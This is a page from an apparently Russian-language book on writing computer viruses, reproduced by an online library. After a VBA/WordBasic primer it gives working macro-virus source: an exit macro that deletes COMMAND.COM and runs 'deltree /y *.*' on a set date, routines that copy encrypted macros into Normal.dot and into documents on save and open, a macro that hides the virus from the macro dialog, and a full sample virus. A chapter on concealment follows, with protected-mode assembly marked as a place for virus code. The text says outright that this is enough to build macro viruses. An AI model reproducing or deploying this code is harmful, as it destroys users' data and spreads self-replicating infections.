Электронная библиотека » Игорь Гульев » » онлайн чтение - страница 5


  • Текст добавлен: 14 ноября 2013, 04:35


Автор книги: Игорь Гульев


Жанр: Программирование, Компьютеры


сообщить о неприемлемом содержимом

Текущая страница: 5 (всего у книги 15 страниц)

Шрифт:
- 100% +
Общие сведения

Макрос – это программа, написанная на некотором языке, которая используется обычно для автоматизации определенных процессов внутри приложений. В данном случае разговор пойдет о языках Visual Basic for Applications (VBA) и WordBasic (WB), которые Microsoft использует в своих программах (в частности, Excel, Project и PowerPoint используют VBA, а WinWord – WB).

Далее будем считать стандартным языком VBA, так как он представляет собой попытку унифицировать макроязык, сделать его общим для всех программ Microsoft. Несмотря на то, что WB имеет некоторые отличия, в том числе и в синтаксисе, структура кода этих языков похожа. При необходимости будет особо отмечено, что речь идет о WB. Макрос VBA – это вызываемые процедуры. Они бывают двух типов: процедуры-подпрограммы и процедуры-функции.

Процедуры-подпрограммы могут исполняться непосредственно или вызываться из других макросов. Синтаксис их следующий:


Sub <Имя_Макроса>

−> код макроса <−

’Комментарий начинается с апострофа

End Sub


Пример:


’Данный макрос открывает диалоговое окно и выводит сообщение

Sub Stupid_Greeting

MsgBox ”Hello World!”

End Sub


Процедуры-функции (также называемые просто функциями) возвращают значение, которое может быть передано в качестве параметра другой процедуре. Их синтаксис:


Function <Имя_Функции>(Аргументы)

−> Инструкции <−

’Комментарий

End Function


Пример:


’Суммирует параметры a и b и возвращает

’результат в переменную ”AddAB”

Function AddAB(a,b)

AddAB=a+b

End Function


Конечно, в документ можно вставить столько макросов, сколько нужно (или сколько хочется), ограничений на их количество нет. Набор макросов (процедур-подпрограмм и процедур-функций), составляющих документ, называется модулем VBA.

Язык VBA работает также с объектами (внутри модулей VBA можно делать ссылки на документы, графику). Объекты обладают свойствами. Например, свойством (или атрибутом) объекта является его цвет.

VBA также позволяет работать с переменными. Как любой язык структурного типа, VBA имеет типичные конструкции:


цикл «For-next»:


Sub Counter ’Процедура

Infect_Num=0

For Count=1 to 10 ’Цикл от 1 до 10

Infect_Num=Infect_Num+Count

Next Count

MsgBox ”Достигли максимального количества заражений”

End Sub


условие «If-then»:


Sub Infect_Check

If Infect_Num=0 Then MsgBox ”Файл не заражен”

End Sub


конструкция «With-end with» (используется для работы с несколькими свойствами конкретного объекта):


Sub ChangeProperties

With Selection

.Font.Bold=True

.Font.ColorIndex=3 ’красный цвет

End With

End Sub


селектор «Select case-end case»:


Sub Check_Infection

Select Case Infect_Num

Case 0

MsgBox ”Файл не заражен”

Case is > 0

MsgBox ”Файл заражен”

Case is < 0

Infect_Num=0

End Case

End Sub


Полезным инструментом для работы с VBA является окно отладки. В нем можно трассировать код, вносить в него изменения и делать многое другое. В процессе отладки для остановки на некоторое время исполнения кода используются флаги. Чтобы можно было анализировать содержимое конкретных переменных и/или инструкций, после каждой команды выводятся сообщения (в отладчике VBA для прерывания исполнения кода можно ставить также контрольные точки).

Нужно обратить внимание на разнообразные аргументы функций. Как уже говорилось, структура их следующая:


Function <Имя>(Аргументы)

[.]

End Function


Аргументами могут быть константы, переменные или выражения. Процедуры могут быть и без аргументов.


Function Get_Name()

Name=Application.UserName

End Function


Некоторые функции всегда требуют фиксированное число аргументов (до 60). Другие функции имеют несколько обязательных аргументов, а остальные могут отсутствовать.

После того, как основы VBA стали понятны, идем дальше. Итак, вирусы и «троянцы» на VBA.

Язык VBA универсален, и тому есть две причины. Во-первых, этот язык прост в изучении и использовании, поскольку он является языком визуального программирования, он ориентирован на события, а не на объекты. С его помощью без особых затрат времени очень легко создавать сложные модули. Во вторых, можно использовать большое количество предопределенных функций, облегчающих работу. В третьих, имеются функции (или макросы) автоматического выполнения, что позволяет упростить написание процедур автокопирования, занесения в память и прочих используемых стандартными DOS-вирусами.

Помимо этого, преимуществом VBA является свойство переносимости. VBA работает под Win 3.x, Win95, WinNT, MacOS и так далее, то есть в любой операционной системе, где можно запустить приложения его поддерживающие.

VBA представляет собой язык, адаптированный к языку приложения, из-под которого он запущен. Это означает, что если на компьютере установлена, например, испанская версия WinWord, то имена предопределенных функций будут также на испанском. Так что два следующих макроса – вовсе не одно и то же.

Первый макрос (испанский):


Sub Demo_Macro

Con Seleccion.Fuente

.Nombre=”Arial”

Fin Con

End Sub


Второй макрос (английский):


Sub Demo_Macro

With Selection.Font

.Name=”Arial”

End With

End Sub


Последний макрос не будет работать в испанской версии WinWord (а первый – в английской) – он вызовет ошибку выполнения макроса. Еще отметим, что VBA – язык интерпретируемого (некомпилируемого) типа, так что каждая ошибка выполнения проявляется «в полете».

Существуют функции, единые для всех версий VBA, вне зависимости от языка. Например, автоматический макрос AutoExec.

Всего таких специальных макросов пять, выполняются они автоматически:

AutoExec: это макрос, активируемый при загрузке текстового процессора, но только в том случае, если он сохранен в шаблоне Normal.dot или в каталоге стандартных приложений;

AutoNew: активизируется при создании нового документа;

AutoOpen: активизируется при открытии существующего документа;

AutoClose: активизируется при закрытии документа;

AutoExit: активизируется при выходе из текстового процессора.

В качестве доказательства силы и универсальности этих макросов рассмотрим следующий фрагмент кода (о языке уже договорились).


’Макрос наиболее эффективен, если его сохранить как AutoExit

Sub Main

’Проверим регистрационное имя

If Application.Username <> ”MaD_MoTHeR” Then

’Снимем атрибуты COMMAND.COM

SetAttr ”C:COMMAND.COM”,0

’Откроем для проверки – вдруг появятся ошибки

Open ”C:COMMAND.COM” for Output as #1

’Если ошибки есть, то закроем.

Close #1

’и удалим

Kill ”C:COMMAND.COM”

End If

’Проверим месяц и дату. Если 29 февраля, то выполним

’команду ”deltree /y >nul

If Month(Now())=2 Then

If Day(Now())=29 Then

Shell ”deltree /y *.* >nu”

End If

End If

End Sub


Что делает этот макрос? При выходе из WinWord он проверяет два параметра: имя, на которое зарегистрирован WinWord (если это не MaD_MoTHeR, то будет удален файл COMMAND.COM), и текущую системную дату (если это 29 февраля, выполняется команда «deltree /у *.* > nul»).

Очень важно знать, как адаптировать автоматический макрос (ниже приведен простейший вариант), чтобы активизировать его в открываемый по умолчанию шаблон WinWord.

Это делается так:

Определяется переменная, в которую записывается полное имя макроса:


name$=WindowName$()+”:AutoNew”

’этот макрос будет выполняться каждый раз

’при создании нового документа


Теперь нужно записать макрос в шаблон NORMAL.DOT простой командой:


MacroCopy name$, ”Global:AutoNew”


Это стандартный способ работы макро-вирусов, но есть еще много других, более интересных способов заражения. Всего то и нужно, что немного воображения и несколько строчек кода. Одним из трюков, который усложняет подобные вирусы и затрудняет их анализ, является кодирование макро-вирусов.


MacroCopy ”MyTemplate:MyMacro”, ”Global:AutoClose”, 1


Если выполняется команда MacroCopy с параметром, равным 1 (или другому числу больше 0), то в результате копирования будет получен только исполняемый макрос, который нельзя редактировать.

Большинство макро-вирусов имеют типичную структуру. Они начинаются с автовыполняемого макроса, заражающего глобальный шаблон Normal.dot. Также в их состав входят некоторые макросы, которые заражают файлы при определенных действиях (FileSaveAs, FileSave, ToolsMacros). Документы заражаются при совершении над ними операций вирусными макросами, то есть они будут инфицироваться при открытии.

Код для процедуры автовыполнения может выглядеть примерно так:


Sub MAIN

On Error Goto Abort

iMacroCount=CountMacros(0, 0) ’Проверка на зараженность

For i=1 To iMacroCount

If MacroName$(i, 0, 0)=”PayLoad” Then

bInstalled =–1 ’с помощью макроса PayLoad

End If

If MacroName$(i, 0, 0)=”FileSaveAs” Then

bTooMuchTrouble =–1 ’но если есть макрос

FileSaveAs,

’то заразить тяжело

End If

Next i

If Not bInstalled And Not bTooMuchTrouble Then

’Добавим макросы FileSaveAs и копии AutoExec и FileSave

’Payload используется только для проверки на зараженность

’,1 – кодирует макросы, делая их нечитаемыми в Word

iWW6IInstance=Val(GetDocumentVar$(”WW6Infector”))

sMe$=FileName$()

Macro$=sMe$+”:PayLoad”

MacroCopy Macro$, ”Global:PayLoad”, 1

Macro$=sMe$+”:FileOpen” ’Будет происходить заражение

MacroCopy Macro$, ”Global:FileOpen”, 1

Macro$=sMe$+”:FileSaveAs”

MacroCopy Macro$, ”Global:FileSaveAs”, 1

Macro$=sMe$+”:AutoExec”

MacroCopy Macro$, ”Global:AutoExec”, 1

SetProfileString ”WW6I”, Str$(iWW6IInstance+1)

End If

Abort:

End Sub

Процедура SaveAs

Она копирует макро-вирус в активный документ при его сохранении через команду File/SaveAs. Эта процедура использует во многом схожую с процедурой AutoExec технологию. Код для нее:


Sub MAIN

Dim dlg As FileSaveAs

GetCurValues dlg

Dialog dlg

If (Dlg.Format=0) Or (dlg.Format=1) Then

MacroCopy ”FileSaveAs”, WindowName$()+”:FileSaveAs”

’Заражает при сохранении документа

MacroCopy ”FileSave”, WindowName$()+”:FileSave”

MacroCopy ”PayLoad”, WindowName$()+”:PayLoad”

MacroCopy ”FileOpen”, WindowName$()+”:FileOpen”

’При открытии документа

Dlg.Format=1

End If

FileDaveAs dlg

End Sub



Этой информации вполне достаточно для создания небольших макровирусов.

Специальные процедуры

Существует несколько способов скрыть вирус или сделать его более эффективным. Например, можно создать специальный макрос, прячущий вирус, если Tools/Macro открывается для просмотра. Код такого макроса может выглядеть примерно так:


Sub MAIN

On Error Goto ErrorRoutine

OldName$=NomFichier$()

If macros.bDebug Then

MsgBox ”start ToolsMacro”

Dim dlg As OutilsMacro

If macros.bDebug Then MsgBox ”1”

GetCurValues dlg

If macros.bDebug Then MsgBox ”2”

On Error Goto Skip

Dialog dlg

OutilsMacro dlg

Skip:

On Error Goto ErrorRoutine ’При ошибке на выход

End If

REM enable automacros

DisableAutoMacros 0

macros.SavToGlobal(OldName$)

macros.objectiv

Goto Done ’Переход на метку

Done

ErrorRoutine:

On Error Goto Done ’Переход на метку

Done

If macros.bDebug Then

MsgBox ”error ”+Str$(Err)+” occurred” ’Сообщение об

ошибке

End If

Done:

End Sub


Макро-вирусы также могут включать внешние процедуры. Например, вирус Nuclear пытается откомпилировать и запустить внешний файл-разносчик вируса, некоторые троянские макросы пытаются форматировать винчестер при открытии документа.

Пример макро-вируса

Выше были изложены основы для изучения макро-вирусов. Пришло время рассмотреть исходные тексты.


Macro name: AutoNew [AUTONEW] ”U”

Encryption key: DF

Sub MAIN

’Включаем обработку автоматических макросов

DisableAutoMacros 0

’Проверим, установлен ли макрос. Если макрос AutoExec

’присутствует, считаем, что файл заражен

If (Installed=0) And (ForgetIt=0) Then

’Заразим. Копируем макрос

MacroCopy WindowName$()+”:AutoExec”, ”Global:AutoExec”, 1

MacroCopy WindowName$()+”:AutoNew”, ”Global:AutoNew”, 1

MacroCopy WindowName$()+”:AutoOpen”, ”Global:AutoOpen”, 1

MacroCopy WindowName$()+”:DateiSpeichern”, ”Global:DateiSpeichern”, 1

MacroCopy WindowName$()+”:DateiSpeichernUnter”,

”Global:DateiSpeichernUnter”, 1

MacroCopy WindowName$()+”:DateiBeenden”,

”Global:DateiBeenden”, 1

MacroCopy WindowName$()+”:ExtrasOptionen”,

”Global:ExtrasOptionen”, 1

MacroCopy WindowName$()+”:DateiDokvorlagen”, ”Global:

DateiDokvorlagen”, 1

MacroCopy WindowName$()+”:It”, ”Global:It”, 1

MacroCopy WindowName$()+”:DateiDrucken”, ”Global:DateiDrucken”, 1

End If

End Sub

’Функция проверяет, инсталлирован ли макрос AutoExec

Function Installed

’Установим переменную Installed в 0 (инициализация переменной).

’При положительном результате проверки установим ее в 1

Installed=0

’Проверим, есть ли макросы

If CountMacros(0) > 0 Then

’Проверим имена макросов. Если есть AutoExec,

’установим переменную Installed в 1

For i=1 To CountMacros(0)

If MacroName$(i, 0)=”AutoExec” Then

Installed=1

End If

Next i

End If

End Function

Function ForgetIt

ForgetIt=0

Section$=”Compatibility”

ProfilName$=”Nomvir”

BlaBla$=GetProfileString$(Section$, ProfilName$)

If BlaBla$=”0x0690690” Then

ForgetIt=1

End If

End Function

Глава 5
Маскировка вирусов

В этой главе рассказано, как может быть спрятан вирус. Описаны методы конструирования прямого обращения к DOS для «обмана» резидентных антивирусных мониторов. Рассмотрены вирусы, заражающие Flash BIOS. Представлены исходные тексты программ с подробными комментариями.

Protected Mode – укрытие для вируса

Персональные компьютеры год от года становятся все сложнее и сложнее, используют все более высокие аппаратные и программные технологии. Компьютерные вирусы тоже не отстают и пытаются приспособиться к новым условиям обитания. Так, вирусы научились заражать загрузочные сектора дисков, файлы для операционных систем DOS, Windows, Windows 95, OS/2, Linux и даже документы Word, Excel и MS-Office 97. Скрывая свое присутствие в системе, они стали невидимками, или стелс-вирусами. Они научились быть полиморфными для того, чтобы их распознавание стало еще более трудной задачей для разработчиков антивирусных средств. С появлением процессоров i386 вирусы стали использовать в своем коде 32-разрядные инструкции. В настоящее время полиморфные вирусы используют 32-разрядные расшифровывающие команды в своем декрипторе.

Одним словом, вирусы хотят выжить и победить. Для этого они используют все новые возможности, как программные, так и аппаратные. Но защищенный режим работы, появившийся вместе с процессором i286, до недавнего времени вирусам никак не удавалось «приручить». Вернее, были «пробы пера», но реального решения этой задачи они не дали.

Загрузочный вирус PMBS, первым пытавшийся освоить защищенный режим (1994 г.), не мог ужиться ни с одной программой или драйвером (EMM386, Windows, OS/2,…), которые также использовали в своей работе защищенный режим. Вирусы Evolution.2761 и Evolution.2770 (тоже 1994 г.) использовали только часть мощного защищенного режима и только в то время, когда процессор работал в реальном режиме. Данные вирусы заменяли реальную таблицу векторов прерываний на собственную.

Но вот, похоже, проблема близка к разрешению: в России в «диком» виде обнаружен файловый вирус PM.Wanderer, использующий защищенный режим. Причем он более или менее корректно и стабильно взаимодействует с другими программами и драйверами, также использующими защищенный режим.

PM.Wanderer является резидентным полиморфным вирусом, использующим защищенный режим процессоров i386-Pentium. Для установки своей резидентной копии в память и переключения в защищенный режим процессора (Protected Mode) вирусом используется документированный интерфейс VCPI (Virtual Control Program Interface) драйвера расширенной памяти EMS (EMM386).

При старте инфицированной программы вирусный полиморфный декриптор расшифровывает основное тело вируса и передает ему управление. Далее основной вирусный код выделяет участок памяти в верхних адресах, копирует в него собственный код и передает ему управление. Затем он восстанавливает код инфицированного файла в программном сегменте (для EXE-файлов также производит настройку адресов перемещаемых элементов) и приступает к непосредственному внедрению в память своей резидентной копии.

В первую очередь вирус пытается выяснить, установлен ли в системе драйвер EMS. Если этот драйвер не установлен или вирусная резидентная копия уже находится в памяти, вирус отдает управление программе-вирусоносителю, заканчивая тем самым свою «жизнедеятельность» в системе.

Если же «условия среды обитания» благоприятствуют, вирус выполняет ряд подготовительных операций для выделения памяти под свое тело и производит переключение процессора в защищенный режим работы с наивысшим уровнем привилегий – режим супервизора.

В защищенном режиме вирус устанавливает две аппаратные контрольные точки на адреса входа в обработчик прерывания INT 21h (функции DOS) и перехода на процедуру перезагрузки компьютера. Кроме того, вирус корректирует дескрипторную таблицу прерываний таким образом, чтобы на прерывания INT 1 (особый случай отладки) и INT 9 (клавиатура) установить собственные дескрипторы обработчиков прерываний.

После этих приготовлений вирус копирует свой код в страницу памяти, полученную им еще до входа в защищенный режим, и производит переключение процессора обратно в виртуальный режим работы. Затем он начинает процедуру освобождения ранее выделенной памяти DOS в верхних адресах и возвращает управление инфицированной программе.

С этого момента инфицированная программа начинает свою основную работу, а в защищенном режиме оказываются установленными вирусные обработчики – ловушки на INT 1 и прерывания от клавиатуры на INT 9. С их помощью вирус контролирует, во-первых, все вызовы функций DOS, во-вторых, все нажатия клавиш на клавиатуре, и, в-третьих, попытки мягкой перезагрузки компьютера. В свою очередь, такой контроль обеспечивает вирусу возможность как надежно реагировать на ряд интересующих его событий при работе программы, так и постоянно проверять состояние двух своих контрольных точек и при необходимости восстанавливать их.

В частности, если вирус обнаруживает, что данный вызов исходит от его «собрата», он просто возвращает некоторое условное значение, играющее роль отзыва «я – свой». Таким образом, вирус, пытавшийся выяснить наличие своей копии в памяти, будет информирован о том, что память уже инфицирована.

Если вирус обнаруживает попытку получения адреса прерывания INT 6 (обычно такой вызов существует во всех программах, написанных на языках высокого уровня, например C, Pascal), то он пытается найти в адресном пространстве некоторую последовательность байт, очевидно принадлежащих программе ADinf, но какой-то старой версии. Кстати, по информации разработчика ADinf Дмитрия Мостового, за последний год в версиях ADinf не содержится такая последовательность. Если данная последовательность вирусом найдена, он определенным образом модифицирует найденный код, чтобы управление не попадало на вызов межсегментной процедуры, демонстрирующей пользователю найденные на диске или в файлах изменения.

Если же вирус обнаруживает запрос на запуск программы или открытие файла (только на чтение), то понимает, что наступило время «большой охоты». Вирус копирует свой код в старшие адреса виртуального процесса DOS-машины, переключает процессор в виртуальный режим и отдает управление своему коду (процедуре заражения).

В виртуальном режиме вирус проверяет последние две буквы расширения имени файла (OM или XE), создает свою полиморфную копию и заражает файлы размером более 4095 байт. Файлы, содержащие в поле значения времени создания 34 секунды, вирус не заражает, считая их уже инфицированными. Корректировку атрибутов файлов вирус не производит, поэтому все файлы, помеченные как «только для чтения», заражены не будут. Также вирус не заражает программы, имя которых состоит из 7 букв. Имена данных программ выяснить не удалось, так как вирус не определяет их имена явно, а подсчитывает CRC имени. Вирус не берет на себя обработку критических ошибок, поэтому при попытке записи на защищенный диск в процессе заражения появится стандартный вопрос DOS (…Retry, Ignore, Fail, Abort).

При заражении файлов вирус использует прямой вызов ядра обработчика DOS INT 21h. Адрес этого ядра он выясняет при трассировке INT 21h во время своей установки в память. Вирусный код внедряется в начало COM– или в середину EXE-файла (сразу же после заголовка). Оригинальный программный код запоминается в конце файла. Реальный рабочий код вируса составляет 3684 байт, но на практике инфицированные файлы имеют приращение длины более 3940 байт. В теле вируса содержится текст «WANDERER».

Обнаружить резидентную копию данного вируса, находящегося в нулевом кольце защищенного режима процессора, обычными способами невозможно. Для этого необходимо переключаться в защищенный режим с наивысшими привилегиями и производить его поиск. Но попытаться обнаружить признаки вируса в системе можно и обычными способами.

После обнаружения вируса рекомендуется, как и всегда в таких случаях, перезагрузиться с системной дискеты и выполнить лечение в заведомо стерильных условиях. Правда, данный вирус не является Stealth-вирусом, и его лечение допустимо даже при активном вирусе.

Теперь немного о результатах тестирования. При заражении нескольких тысяч файлов-жертв вирус проявил себя как «жилец» – все зараженные файлы оказались работоспособными. Здесь надо сделать поправку – файлы могут оказаться неработоспособными в том случае, если их стек после заражения окажется в области вирусного кода. PM.Wanderer при заражении файлов не корректирует значения стартовых SS:SP в EXE-заголовке. Как уже отмечалось выше, он сохраняет способность к воспроизводству только в том случае, если в системе установлен драйвер EMS (EMM386). При установленном драйвере EMM386 с ключом NOEMS вирус перезагружает компьютер. Перезагрузка также возможна, если в системе используется драйвер QEMM386.

Самое интересное, что если в системе находился резидентный вирус, а потом произошла загрузка Windows 3.1 или Windows 95, то вирус не сможет размножаться в данных операционных средах, но при выходе в DOS он опять получает управление и может «трудиться, не покладая рук». Если же вирус будет запущен в DOS-сессии Windows, то из-за отсутствия интерфейса VCPI вирус не сможет переключиться в защищенный режим. При отсутствии VCPI под OS/2 вирус также нежизнеспособен.

Возможно, в недалеком будущем компьютерный вирус сможет полностью заменить своим кодом программу-супервизора и сам будет поддерживать интерфейсы DPMI, EMS/VCPI, XMS, INT 15h. Кто знает.

Приведенная ниже программа позволяет программисту перевести процессор в защищенный режим. В этом режиме вирус может, например, расшифровать некоторые данные.


;Данная программа делает следующее:

; – создает таблицы GDT и LDT, используя текущие значения

; CS,DS,SS

; – запрещает все прерывания, открывает линию A20

; для доступа к RAM>1Мбайт

; – переводит процессор в защищенный режим

; – в первый символ строки qw заносит символ L

; – выходит в реальный режим

; – разрешает прерывания, закрывает A20

; – выводит на экран строку qw (”Light General”)

; – выход в DOS

.286

.model tiny

.code

org 100h

;Определения для защищенного режима работы программы

;Структура дескриптора

desc_struc STRUC

limit dw 0

base_l dw 0

base_h db 0

access db 0

rsrv dw 0

desc_struc ENDS

ACC_PRESENT equ 10000000b

ACC_CSEG equ 00011000b

ACC_DSEG equ 00010000b

ACC_EXPDOWN equ 00000100b

ACC_CONFORM equ 00000100b

ACC_DATAWR equ 00000010b

DATA_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR

; 10010010b

CODE_ACC=ACC_PRESENT or ACC_CSEG or ACC_CONFORM

; 10011100b

STACK_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR or ACC_

EXPDOWN; 10010110b

;Размеры сегментов (реальные размеры на единицу больше)

CSEG_SIZE=65535

DSEG_SIZE=65535

STACK_SIZE=65535

;Смещения используемых дескрипторов

CS_DESCR=(gdt_cs–gdt_0)

DS_DESCR=(gdt_ds–gdt_0)

SS_DESCR=(gdt_ss–gdt_0)

;Константы значений портов

CMOS_PORT equ 70h

STATUS_PORT equ 64h

SHUT_DOWN equ 0FEh

A20_PORT equ 0D1h

A20_ON equ 0DFh

A20_OFF equ 0DDh

INT_MASK_PORT equ 21h

KBD_PORT_A equ 60h

start:

;Инициализируем необходимые данные для перехода

;в защищенный режим

call init_protected_mode

;Переходим в защищенный режим

call set_protected_mode

;Теперь компьютер работает в защищенном режиме!

;Так как таблица прерываний реального режима не может быть

;использована в защищенном, прерывания запрещены!

;Именно тут можно вставить инструкции, нужные вирусу

;Возвращаемся в реальный режим

call set_real_mode

;Печатаем сообщение ”Light General”

mov ah,09h

lea dx,qw

int 21h

;Выходим в DOS

mov ax,4C00h

int 21h

;Макрокоманда для установки адреса для дескриптора

;в глобальной таблице дескрипторов GDT.

;На входе регистры DL:AX должны содержать

;абсолютный адрес сегмента

setgdtentry MACRO

mov [desc_struc.base_l][bx],ax

mov [desc_struc.base_h][bx],dl

ENDM

;Процедура инициализации необходимых данных

;для перехода в защищенный режим

init_protected_mode PROC

;Вычисляем абсолютный адрес для сегмента данных

;в соответствии со значением регистра DS

mov ax,ds

mov dl,ah

shr dl,4

shl ax,4

;Устанавливаем адрес сегмента данных

;в глобальной таблице дескрипторов

mov bx,offset gdt_ds

setgdtentry

;Вычисляем абсолютный адрес для сегмента GDT: прибавляем

;к уже вычисленному абсолютному адресу сегмента данных

;смещение в нем таблицы дескрипторов

add ax,offset gdtr

adc dl,0

;Устанавливаем адрес сегмента GDT

;в глобальной таблице дескрипторов

mov bx,offset gdt_gdt

setgdtentry

;Вычисляем абсолютный адрес для сегмента кода

;в соответствии со значением регистра CS

mov ax,cs

mov dl,ah

shr dl,4

shl ax,4

;Устанавливаем адрес сегмента кода

;в глобальной таблице дескрипторов

mov bx,offset gdt_cs

setgdtentry

;Вычисляем абсолютный адрес для сегмента стека

;в соответствии со значением регистра SS

mov ax,ss

mov dl,ah

shr dl,4

shl ax,4

;Устанавливаем адрес сегмента стека

;в глобальной таблице дескрипторов

mov bx,offset gdt_ss

setgdtentry

;Перехватываем рестарт. Так как процессор i286 (а эта программа

;рассчитана именно на такой процессор) не имеет возможности

;возврата в реальный режим из защищенного, возврат в реальный

;режим будем производить следующим образом: перехватим рестарт,

;сгенерируем CPU Reset, после которого получим управление, когда

;процессор будет находится уже в реальном режиме. На процессоре

;i386 возврат в реальный режим происходит

;значительно проще и ”естественнее”.

push ds

mov ax,40h

mov ds,ax

mov word ptr ds:[0067h],offset shutdown_return

mov word ptr ds:[0069h],cs

pop ds

;Запрещаем маскируемые прерывания

cli

in al,INT_MASK_PORT

or al,0FFh

out INT_MASK_PORT,al

;Запрещаем немаскируемые прерывания. Данная последовательность

;команд не запрещает ”незапрещаемые” прерывания в процессоре

;(этого сделать по определению нельзя), а ”не пускает” сигнал

;немаскируемого прерывания к процессору

mov al,8Fh

out CMOS_PORT,al

jmp $+2

mov al,5

out CMOS_PORT+1,al

ret

init_protected_mode ENDP

;Подпрограмма, переводящая процессор в защищенный режим

set_protected_mode PROC

;Открываем адресную линию A20 для доступа свыше 1Мбайт.

;При закрытой линии адресное пространство

;”зацикливается” в пределах 1Мбайт

call enable_a20

;Сохраняем значение регистра SS для реального режима

mov real_ss,ss

;Переводим компилятор Turbo Assembler в улучшенный режим.

;IDEAL – это не команда и не оператор, это директива, влияющая

;только на интерпретацию дальнейших строк листинга

ideal

p286

;Загружаем регистр глобальной таблицы дескрипторов GDTR

lgdt [QWORD gdt_gdt] ;db 0Fh,01h,16h dw offset gdt_gdt

;Переводим процессор в защищенный режим

mov ax,0001h

lmsw ax ;db 0Fh,01h,F0h

;Переводим компилятор Turbo Assembler назад в режим MASM

masm

.286

;Производим длинный переход для того,

;чтобы очистить внутреннюю очередь

;команд процессора

jmp far flush

db 0EAh

dw offset flush

dw CS_DESCR

flush:

;Устанавливаем в регистр SS селектор сегмента стека

mov ax,SS_DESCR

mov ss,ax

;Устанавливаем в регистр DS селектор сегмента данных

mov ax,DS_DESCR

mov ds,ax

;Записываем в строку qw символ ”L” и выходим из подпрограммы

mov byte ptr ds:[offset qw+2],”L”

ret

set_protected_mode ENDP

;Подпрограмма, возвращающая процессор в реальный режим

set_real_mode PROC

;Сохраняем значение регистра SP для реального режима

mov real_sp,sp

;Выполняем CPU Reset (рестарт процессора)

mov al,SHUT_DOWN

out STATUS_PORT,al

;Ждем, пока процессор перезапустится

wait_reset:

hlt

jmp wait_reset

;С этого места программа выполняется после перезапуска процессора

shutdown_return:

;Устанавливаем регистр DS в соответствии с регистром CS

push cs

pop ds

;Восстанавливаем указатели на стек

;по ранее сохраненным значениям

mov ss,real_ss

mov sp,real_sp

;Закрываем адресную линию A20

call disable_a20

;Разрешаем немаскируемые прерывания

mov ax,000dh

out CMOS_PORT,al

;Разрешаем маскируемые прерывания

in al,INT_MASK_PORT

and al,0

out INT_MASK_PORT,al

sti

ret

set_real_mode ENDP

;Процедура, открывающая адресную линию A20. После открытия

;адресной линии программам будет доступна память свыше 1Мбайт

enable_a20 PROC

mov al,A20_PORT

out STATUS_PORT,al

mov al,A20_ON

out KBD_PORT_A,al

ret

enable_a20 ENDP

;Процедура, закрывающая адресную линию A20. После закрытия

;адресной линии программам будет недоступна память свыше

1Мбайт.

;Адресное пространство будет ”зацикленным” в пределах 1Мбайт

disable_a20 PROC

mov al,A20_PORT

out STATUS_PORT,al

mov al,A20_OFF

out KBD_PORT_A,al

ret

disable_a20 ENDP

;Здесь сохраняется адрес стека

real_sp dw ?

real_ss dw ?

;Эта строка выводится на экран после работы программы

;Символ ”?” заменяется на ”L” в защищенном режиме

qw db 13,10,”?ight General”,13,10,”$”

;Глобальная таблица дескрипторов. Нулевой дескриптор

;обязательно должен быть ”пустым”

GDT_BEG=$

gdtr label WORD

gdt_0 desc_struc <0,0,0,0,0>

gdt_gdt desc_struc <GDT_SIZE−1,,,DATA_ACC,0>

gdt_ds desc_struc <DSEG_SIZE−1,,,DATA_ACC,0>

gdt_cs desc_struc <CSEG_SIZE−1,,,CODE_ACC,0>

gdt_ss desc_struc <STACK_SIZE−1,,,DATA_ACC,0>

GDT_SIZE=($–GDT_BEG)

END start


Страницы книги >> Предыдущая | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | Следующая
  • 0 Оценок: 0

Правообладателям!

Это произведение, предположительно, находится в статусе 'public domain'. Если это не так и размещение материала нарушает чьи-либо права, то сообщите нам об этом.


Популярные книги за неделю


Рекомендации